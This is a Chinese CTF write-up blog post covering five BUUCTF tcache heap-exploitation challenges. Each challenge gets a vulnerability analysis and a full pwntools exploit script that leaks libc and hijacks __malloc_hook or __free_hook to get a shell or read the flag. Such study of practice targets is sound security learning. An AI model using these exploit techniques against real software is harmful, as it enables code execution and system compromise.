BUUCTF-PWN刷题记录-5(Tcache)

ciscn_2019_final_3(double free,修改size构造unsorted bin)

在这里插入图片描述
只有添加和删除两个功能
在这里插入图片描述
限制了申请的大小,最大为0x78,意味着chunk最大为0x80,添加完可以泄露堆上的地址
在这里插入图片描述
free之后没有置空,可以double free

题目分析差不多就这样,下面是漏洞利用:

  1. 先申请一个大小为0x78的heap[0],记录下返回地址heap_addr
  2. 申请一个大小为0x18的heap[1],然后申请10个大小为0x78的heap[2-11]

本题的环境为ubuntu 18,因此堆上的块释放后会进入tcache,只有当大小大于0x400才能进入unsorted bin,而我们需要利用unsorted bin 泄露出libc 的基地址

  1. 申请大小为0x28的heap[12],对其进行double free,然后申请同样大小的heap[13],heap[14],内容均为p64(heap_addr)
  2. 再申请一个和上面同样大小的heap[15],我们就申请到了heap[0]的chunk,覆盖其size 为0x421,并将heap[0]和heap[1] free,此时heap[0]进入unsorted bin,heap[1]进入tcache
  3. 申请一个大小0x78的heap[16],此时heap[0]会被切割出0x80的大小,unsorted bin 就变成了heap[1],main_arena + 0x60的地址就留在chunk1的FD位置
  4. 申请两个和heap[1]同样大小的heap[17,18],heap[18]就能泄露出main_arena + 0x60的地址
  5. 对heap[5]进行double free,然后申请同样大小的heap[19],heap[20],内容均为p64(__malloc_hook)
  6. 申请和上面同样大小的heap[21],内容为one_gadget,就成功劫持了__malloc_hook

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 27296)
#r = process("./ciscn_2019_final_3/ciscn_2019_final_3")

elf = ELF("./ciscn_2019_final_3/ciscn_2019_final_3")
libc = ELF("./ciscn_2019_final_3/libc.so.6")

def add(index, size, content):
	print r.recvuntil("choice > ")
	r.sendline('1')
	print r.recvuntil("input the index")
	r.sendline(str(index))
	print r.recvuntil("input the size")
	r.sendline(str(size))
	print r.recvuntil("now you can write something")
	r.sendline(content)
	r.recvuntil('gift :')
    	heap = int(r.recvline()[2:],16)
	return heap

def free(index):
	print r.recvuntil("choice > ")
	r.sendline('2')
	print r.recvuntil("input the index")
	r.sendline(str(index))


heap = add(0, 0x78, 'a')
success("heap:" + hex(heap))
add(1, 0x18, 'b')
add(2, 0x78, 'c')
add(3, 0x78, 'c')
add(4, 0x78, 'c')
add(5, 0x78, 'c')
add(6, 0x78, 'c')
add(7, 0x78, 'c')
add(8, 0x78, 'c')
add(9, 0x78, 'c')
add(10, 0x78, 'c')
add(11, 0x78, 'c')
add(12, 0x28, 'c')

#dup
free(12)
free(12)
add(13, 0x28, p64(heap-0x10))
add(14, 0x28, p64(heap-0x10))
add(15, 0x28, p64(0) + p64(0x421))

free(0)
free(1)
add(16, 0x78, 'e')
add(17, 0x18, 'f')
libc_base = add(18, 0x18, 'g') - 0x60 - 0x10 - libc.sym['__malloc_hook']
malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0x10a38c
success("malloc_hook:"+hex(malloc_hook))
success("one_gadget:"+hex(one_gadget))

#dup
free(5)
free(5)
add(19, 0x78, p64(malloc_hook))
add(20, 0x78, p64(malloc_hook))
add(21, 0x78, p64(one_gadget))

r.recvuntil("choice > ")
r.sendline('1')
r.recvuntil("input the index")
r.sendline('22')
r.recvuntil("input the size")
r.sendline('10')

r.interactive()

[V&N2020 公开赛]easyTHeap(修改tcache控制结构获得unsorted bin)

在这里插入图片描述
例行安全检查,还是保护全开
函数由增加,编辑,展示和删除四个功能
不过增加次数最多为7,删除次数最多为3
在delete之后没有将指针置空,可以double free
在这里插入图片描述
由于size被置空,因此没有UAF,
在这里插入图片描述
添加的size最大为0x100
在这里插入图片描述
show函数没有检查,因此可以进行信息泄露
在这里插入图片描述
下面是漏洞的利用方法:

  1. 申请大小为0x80的heap[0], heap[1]
  2. 对heap[0]进行double free,并使用show 泄露出chunk0地址heap_addr
  3. 申请两个heap[0]同样大小的heap[2], heap[3]。把heap[2]内容设为heap_addr(指向tcache的控制块)
  4. 再申请一个上面同样大小的heap[4],内容为p64(0x0707070707070707).ljust(0x78,’\x00’)+p64(heap - 0x250 + 0x78)

简单解释一下上面的payload:第一个p64为tcache中每个大小的chunk数目,而tcache每个大小下最多7个,此时tcache被填满,free之后就不会进入tcache,tcache的chunk大小范围是0x20-0x90一共8个,而该地址+0x78就是大小为0x90chunk的tcahce_entry

  1. 释放heap[0],泄露地址
  2. 重新编辑heap[4],内容为p64(0x0707070707070707).ljust(0x78,’\x00’)+p64(malloc_hook-0x8),此时在申请一个大小为0x80的heap[5],内容为p64(one_gadget)+p64(realloc+0x4)

Exp:

from pwn import *

def add(size):
	r.recvuntil("choice: ")
	r.sendline('1')
	r.recvuntil("size?")
	r.sendline(str(size))


def delete(index):
	r.recvuntil("choice: ")
	r.sendline('4')
	r.recvuntil("idx?")
	r.sendline(str(index))

def show(index):
	r.recvuntil("choice: ")
	r.sendline('3')
	r.recvuntil("idx?")
	r.sendline(str(index))

def edit(index, content):
	r.recvuntil("choice: ")
	r.sendline('2')
	r.recvuntil("idx?")
	r.sendline(str(index))
	r.recvuntil("content:")
	r.sendline(content)

r = remote("node3.buuoj.cn", 27116)
#r = process("./vn_pwn_easyTHeap")

elf = ELF("./vn_pwn_easyTHeap")
libc = ELF("./libc/libc-2.27.so")

add(0x80)#0
add(0x80)#1

delete(0)
delete(0)

show(0)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
success('heap'+hex(heap))

add(0x80)#2
edit(2, p64(heap - 0x250))

add(0x80)#3
add(0x80)#4
edit(4,p64(0x0707070707070707).ljust(0x78,'\x00')+p64(heap - 0x250 + 0x78))


delete(0)
show(0)

malloc_hook = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x60 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget = 0x10a38c + libc_base
realloc = libc_base + libc.sym['__libc_realloc']
success("malloc_hook"+hex(malloc_hook))

edit(4,p64(0x0707070707070707).ljust(0x78,'\x00')+p64(malloc_hook-0x8))
add(0x80)#5
edit(5,p64(one_gadget)+p64(realloc+0x4))

add(0x80)

r.interactive()

hitcon_2018_children_tcache(off-by-one(null), 申请同一内存区域两次来double free)

在这里插入图片描述
漏洞分析:
读取内容的时候有一个null-byte-one漏洞,此外就没有其他漏洞了
在这里插入图片描述
另外,add的时候会先把content读进缓冲区,然后调用strcpy复制到堆上
在这里插入图片描述

漏洞利用:

  1. 申请三个chunk 0, 1, 2其中0和2的大小需要在unsorted bin 范围之内,并且2的chunk低八位需要为0,再申请一个chunk防止和top chunk合并
  2. 释放chunk1, chunk0,然后以size递减的方式把chunk2 的presize清空,最后申请一个同样大小的chunk,idx为0,把chunk2的pre size置为chunk0+chunk1的大小
  3. 删除chunk2,触发合并
    在这里插入图片描述
  4. 申请一个和chunk0同样大小的chunk,idx为1,此时main_arena的地址就会留在chunk0的content处,使用show泄露出来
  5. 再申请一个和当前chunk0同样大小的chunk,idx为2,此时这块内存就被申请了两次,然后使用double free把malloc_hook写入one_gadget即可
from pwn import *


r = remote("node3.buuoj.cn", 26098)
#r = process("./HITCON_2018_children_tcache")

context.log_level = 'debug'
elf = ELF("./HITCON_2018_children_tcache")
libc = ELF('./libc/libc-2.27.so')

def add(size, content):
	r.recvuntil("Your choice: ")
	r.sendline('1')
	r.recvuntil("Size:")
	r.sendline(str(size))
	r.recvuntil("Data:")
	r.send(content)

def delete(index):
	r.recvuntil("Your choice: ")
	r.sendline('3')
	r.recvuntil("Index:")
	r.sendline(str(index))

def show(index):
	r.recvuntil("Your choice: ")
	r.sendline('2')
	r.recvuntil("Index:")
	r.sendline(str(index))



add(0x500, 'a'*0x4ff)
add(0x68, 'a'*0x67)
add(0x5f0, 'a'*0x5ef)
add(0x20, 'a'*0x20)
delete(1)
delete(0)

for i in range(9):
    add(0x68 - i, 'b' * (0x68 - i))
    delete(0)

add(0x68, 'b'*0x60+p64(0x580))
delete(2)
add(0x508, 'a'*0x507)

show(0)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x60 -0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget = libc_base + 0x4f322
success("malloc_hook:"+hex(malloc_hook))
success("libc_base:"+hex(libc_base))

add(0x68,'b'*0x67)
delete(0)
delete(2)
add(0x68, p64(malloc_hook))
add(0x68,'b'*0x67)
add(0x68,p64(one_gadget))

r.recvuntil("Your choice: ")
r.sendline('1')
r.recvuntil("Size:")
r.sendline('10')
r.interactive()

ciscn_2019_es_1(unsorted bin泄露,double free)

在这里插入图片描述
例行安全检查

Note结构体:

struct Node{
	char* name;
	int size;
	char phone[12];
}

漏洞分析:
add分配的内存没有大小限制
在这里插入图片描述
free之后指针没有置空,可以double free
在这里插入图片描述
这题是非常入门的tcache题目了,总的思路就是利用unsorted bin泄露libc,并利用double free修改__free_hook,tcache的题目这个思路还挺常见,不过有的题目需要使用巧妙的办法释放到unsorted bin,有的题目需要利用巧妙地办法double free(就是上面HITCON那题)
漏洞利用:

  1. 申请三个chunk,0的大小大于0x400(释放进入unsorted bin),另外两个在tcache范围内,2的内容为/bin/sh
  2. 释放0,show0,泄露main_arena+0x60‘
  3. 对1进行double free, 并覆盖__free_hook为system’
  4. 释放2,获得shell

Exp:

from pwn import *


r = remote("node3.buuoj.cn", 28830)
#r = process("./ciscn_2019_es_1")

context.log_level = 'debug'

elf = ELF("./ciscn_2019_es_1")
libc = ELF('./libc/libc-2.27.so')

def add(size, content, phone):
	r.recvuntil("choice:")
	r.sendline('1')
	r.recvuntil("Please input the size of compary's name\n")
	r.sendline(str(size))
	r.recvuntil("please input name:\n")
	r.send(content)
	r.recvuntil("please input compary call:\n")
	r.sendline(phone)

def delete(index):
	r.recvuntil("choice:")
	r.sendline('3')
	r.recvuntil("Please input the index:")
	r.sendline(str(index))

def show(index):
	r.recvuntil("choice:")
	r.sendline('2')
	r.recvuntil("Please input the index:")
	r.sendline(str(index))

add(0x500, 'a\n', '123')#0
add(0x28, 'a\n', '123')#1
add(0x68, '/bin/sh\n', '123')#2

delete(0)
show(0)
r.recvuntil("name:\n")
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x60 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
realloc = libc_base + libc.sym['realloc']
one_gadget = libc_base + 0x10a38c #0x4f322
success("malloc_hook:"+hex(malloc_hook))
success("libc_base:"+hex(libc_base))

delete(1)
delete(1)
add(0x28, p64(free_hook)+'\n', '123')#3
add(0x28, p64(free_hook)+'\n', '123')#4
add(0x28, p64(system)+'\n', '123')

delete(2)
#r.recvuntil("choice:")
#r.sendline('1')

r.interactive()

ciscn_2019_final_2(double free,多次free填满tcache)

在这里插入图片描述
程序添加了sandbox,我们不能执行execve
在这里插入图片描述
不过已经把flag文件打开,并且fd为666
在这里插入图片描述
allocate函数不管是否为空都能分配
在这里插入图片描述
漏洞利用:

  1. 申请一个int,并删除,然后申请四次short
  2. 利用double free泄露出当前tcache的内容部分地址,并计算出int的chunk地址,并利用house of spirit修改size为0x91
  3. 释放int 7次填满tcache,再进行一次释放使得其进入unsorted bin,泄露出main_arena+0x60地址
  4. 申请一个int ,此时chunk0在tcache和unsorted bin中,而tcache中大小为0x90,因此会切割unsortedbin, 把_IO_2_1_stdin_ + 0x70写入fd部分
  5. 再申请一个int, 并进行double free泄露出当前地址,计算chunk 0的地址
  6. 利用house of spirit把chunk 0重新申请出来,并把666写入_IO_2_1_stdin_ + 0x70处,然后leave就能打印出flag

Exp:

from pwn import *


r = remote("node3.buuoj.cn", 27517)
#r = process("./ciscn_final_2")

context.log_level = 'debug'

elf = ELF("./ciscn_final_2")
libc = ELF('./libc/libc-2.27.so')

def add(TYPE, content):
	r.recvuntil("which command?\n> ")
	r.sendline('1')
	r.recvuntil("TYPE:\n1: int\n2: short int\n>")
	r.sendline(str(TYPE))
	r.recvuntil("your inode number:")
	r.sendline(str(content))

def remove(TYPE):
	r.recvuntil("which command?\n> ")
	r.sendline('2')
	r.recvuntil("TYPE:\n1: int\n2: short int\n>")
	r.sendline(str(TYPE))

def show(TYPE):
	r.recvuntil("which command?\n> ")
	r.sendline('3')
	r.recvuntil("TYPE:\n1: int\n2: short int\n>")
	r.sendline(str(TYPE))
        if TYPE == 1:
            r.recvuntil("your int type inode number :")
        else:
            r.recvuntil("your short type inode number :")
        return int(r.recvuntil('\n'))

add(1,0x30)
remove(1)
add(2,0x20)
add(2,0x20)
add(2,0x20)
add(2,0x20)
remove(2)
add(1,0x30)
remove(2)
addr_chunk0_prev_size = show(2) - 0xa0
add(2, addr_chunk0_prev_size)
add(2, addr_chunk0_prev_size)
add(2, 0x91)

for i in range(0, 7):
    remove(1)
    add(2, 0x20)
remove(1)

addr_main_arena = show(1) - 96
libcbase = addr_main_arena - libc.sym['__malloc_hook'] - 0x10
addr__IO_2_1_stdin__fileno = libcbase + libc.sym['_IO_2_1_stdin_'] + 0x70

add(1, addr__IO_2_1_stdin__fileno)
add(1, 0x30) 
remove(1)
add(2, 0x20)
remove(1)
addr_chunk0_fd = show(1) - 0x30
add(1, addr_chunk0_fd)
add(1, addr_chunk0_fd)
add(1, 111)
add(1, 666)

r.sendlineafter('which command?\n> ', '4')
r.recvuntil('your message :')
r.interactive()
发布了28 篇原创文章 · 获赞 4 · 访问量 2551

猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/105433911